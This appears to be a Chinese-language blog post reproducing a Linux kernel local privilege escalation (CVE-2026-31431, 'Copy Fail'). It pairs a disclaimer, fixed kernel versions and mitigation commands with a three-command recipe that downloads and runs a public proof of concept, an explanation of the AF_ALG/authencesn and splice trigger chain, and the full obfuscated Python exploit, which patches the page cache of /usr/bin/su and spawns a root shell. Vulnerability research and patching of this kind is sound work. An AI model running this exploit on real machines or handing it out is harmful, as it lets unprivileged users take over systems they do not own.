免责声明

1. 本文所提供的漏洞复现方法、POC代码及相关技术细节,仅用于合法的网络安全学习、漏洞研究与技术交流,旨在帮助技术人员了解漏洞原理、掌握防护方法,提升系统安全防护能力。

2. 严禁在未经授权的情况下,对任何计算机系统、服务器、网络设备执行本文中的代码、复现漏洞或进行任何攻击行为,此类行为可能违反《中华人民共和国网络安全法》《中华人民共和国刑法》等相关法律法规,需自行承担全部法律责任。

3. 漏洞复现及代码使用需在个人合法拥有或已获得书面授权的测试环境中进行,测试完成后请立即清理测试环境,关闭相关漏洞,避免造成不必要的安全风险。

4. 本文作者及相关分享者不对任何因使用本文内容而导致的直接或间接损失、法律纠纷承担任何责任,请使用者谨慎使用并遵守相关法律法规。

(文中涉及ai的部分仅供参考)

复现 Linux 内核提权漏洞(CVE-2026-31431)

3条命令,无 root 密码、无 sudo 权限、普通用户直接执行:

⚠️ 以下内核版本已修复该漏洞!

6.18 LTS:6.18.22(commit fafe0fa2995a)
6.19 Stable:6.19.12(commit ce42ee423e58)
7.0 主线:7.0-rc1+(含正式版 7.0)

1
2
3
4
5
6
7
8
# 1. 下载官方原版POC
curl -fsSL https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py -o copy_fail_exp.py

# 2. 修复Windows换行符兼容问题
sed -i 's/\r$//' copy_fail_exp.py

# 3. 执行提权
python3 copy_fail_exp.py

如何修复漏洞?

  1. 升级内核版本到: 6.18.22+ / 6.19.12+ / 7.0+ 。

  2. 运行以下指令

    1
    2
    3
    4
    5
    # 永久禁用漏洞模块,禁止系统开机自动加载
    echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/block-algif-aead.conf

    # 立刻卸载当前已加载的模块,实时生效
    sudo rmmod algif_aead 2>/dev/null

漏洞触发链

前提

  • 普通用户 ;
  • 内核 ≥ 2017(含 2017 那个优化);
  • algif_aead 模块已加载(默认加载)。

链路

  1. 打开 AF_ALG 套接字,绑定 authencesn

    1
    2
    a = socket(AF_ALG, SOCK_SEQPACKET, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
  2. 用 splice () 把 /usr/bin/su 的页缓存 “借” 给加密接口

    • /usr/bin/su 是 setuid root 程序,普通用户可读、不可写;
    • splice() 可以把它的 ** 页缓存页(只读)** 引用传给内核加密函数。
  3. 触发 2017 优化 + authencesn 越界写

    • 2017 优化:把 su 的只读页缓存页链到可写散列表;
    • authencesn:在数据末尾硬写 4 字节可控数据 → 直接写进 su 的页缓存。

简短总结

  • 2017 年为了快,把只读页缓存放进了可写链表;
  • 2011 年的 authencesn 本来就会越界写 4 字节;
  • 9 年后,普通用户通过 AF_ALG + splice (),把这 4 字节写进了 su 的内存缓存,直接 root。

漏洞相关信息

  • 漏洞编号:CVE-2026-31431(Copy Fail)

  • 引入点(2017 优化)

    • 提交:72548b093ee3
    • 作者:Herbert Xu
    • 日期:2017-10-18
    • 标题:crypto: algif_aead - Use sg_chain for in-place decryption
    • 作用:为了省内存、减少拷贝、提升加密性能,让 AEAD 解密直接在 “原地” 做,不需要额外临时 buffer。
  • 修复点(2026-04-01)

    • 主线修复提交:a664bf3d603d
    • 标题:Revert “crypto: algif_aead - Use sg_chain for in-place decryption”
    • 本质:直接回退 2017 年那个优化提交。
  • 涉及核心文件

    • crypto/algif_aead.c(漏洞所在模块,AF_ALG + AEAD 套接字实现)
    • crypto/authencesn.c(真正产生越界写的 AEAD 模板)

漏洞官方源代码

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")